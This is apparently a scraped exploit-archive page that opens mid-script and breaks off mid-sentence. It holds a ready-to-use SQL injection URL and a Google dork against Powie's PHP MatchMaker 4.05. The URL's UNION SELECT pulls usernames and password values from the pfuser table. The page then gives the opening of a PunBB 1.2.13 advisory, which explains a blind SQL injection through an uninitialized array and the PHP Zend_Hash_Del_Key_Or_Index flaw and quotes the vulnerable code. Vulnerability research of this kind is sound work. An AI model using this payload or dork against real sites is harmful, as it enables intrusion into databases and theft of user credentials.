} else { echo "exploit failed "; } ?> Black_hat_cr(HCE) Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit #================================================= ============================================= #Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit #================================================= ============================================== # #Critical Level : Dangerous # #Venedor site : http://www.powie.de # #Version : v4.05 # #================================================= ============================================== # #DORK : "Powie's PSCRIPT MatchMaker 4.05" # # #Exploit : # # #http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1 # #================================================= =============================================== #Discoverd By : SHiKaA Black_hat_cr(HCE) PunBB <= 1.2.13 Multiple Vulnerabilities PHP Code: [0] Application description From punbb.org : "PunBB is a fast and lightweight PHP powered discussion board. It is released under the GNU Public License. Its primary goal is to be a faster, smaller and less graphic alternative to otherwise excellent discussion boards such as phpBB, Invision Power Board or vBulletin. PunBB has fewer features than many other discussion boards, but is generally faster and outputs smaller pages." [i] SQL Injection Vulnerability 1) Overview PunBB is prone to an SQL injection in the search module, because of an unitialized variable which is undirectly passed into an SQL query without any check. Using this vulnerability, a visitor can perform blind SQL injections, which can lead to the content disclosure of any data stored in the database. The exploitation of this flaw uses the PHP Zend_Hash_Del_Key_Or_Index vulnerability, and thus requires register_globals enabled and PHP <= 4.4.2 or PHP <= 5.1.3 on the server where PunBB is installed. 2) Explanations This vulnerability is grounded on both a mistake in PunBB code with an unitialized variable, and PHP Zend_Hash_Del_Key_Or_Index vulnerability which allows to bypass the globals deregistration process that comes with PunBB. First of all, have a look at the unregister_globals() function in "include/functions.php" : ************************ BEGIN OF CODE ************************ function unregister_globals() { // Prevent script.php?GLOBALS[foo]=bar if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) exit('I\'ll have a steak sandwich and a steak sandwich.'); // Variables that shouldn't be unset $no_unset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES'); // Remove elements in $GLOBALS that are present in any of the // superglobals $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array()); foreach ($input as $k => $v) { if (!in_array($k, $no_unset) && isset($GLOBALS[$k])) unset($GLOBALS[$k]); } } ************************* END OF CODE ************************* ** Using Zend_Hash_Del_Key_Or_Index vulnerability, it is possible to bypass this globals deregistration process. All the details on this vulnerability - discovered by Stefan Esser - can be found in this article : http://www.hardened- php.net/hphp/zend_hash_del_key_or_index_vulnerability.html To sum up, as long as PHP meets the required configuration for this vulnerability, an attacker is able to set any global variable he wants in PunBB. Now, have a look at the file "search.php", at the following lines : ************************ BEGIN OF CODE ************************ $row = array(); while ($temp = $db->fetch_row($result)) { $row[$temp[0]] = 1; if (!$word_count) $result_list[$temp[0]] = 1; else if ($match_type == 'or') $result_list[$temp[0]] = 1; else if ($match_type == 'not') $result_list[$temp[0]] = 0; } [ ] @reset($result_list); while (list($post_id, $matches) = @each($result_list)) { if ($matches) $keyword_results[] = $post_id; } [ ] if ($author && $keywords) { // If we searched for both keywords and author name we want // the intersection between the results $search_ids = array_intersect($keyword_results, $author_results); unset($keyword_results, $author_results); } else if ($keywords) $search_ids = $keyword_results; else $search_ids = $author_results; [ ] if ($show_as == 'topics') { $result = $db->query('SELECT t.id FROM '.$db->prefix.'posts AS p INNER JOIN '.$db->prefix.'topics AS t ON t.id=p.topic_id INNER JOIN '.$db->prefix.'forums AS f ON f.id=t.forum_id LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND p.id IN('.implode(',',$search_ids).')'.$forum_sql.' GROUP BY t.id', true) or error[ ] $search_ids = array(); while ($row = $db->fetch_row($result)) $search_ids[] = $row[0]; $db->free_result($result); $num_hits = count($search_ids); } ************************* END OF CODE ************************* In this piece of code, the $result_list array is obviously not initialized. Using the Zend_Hash_Del_Key_Or_Index vulnerability, we are thus able to populate this array with any possible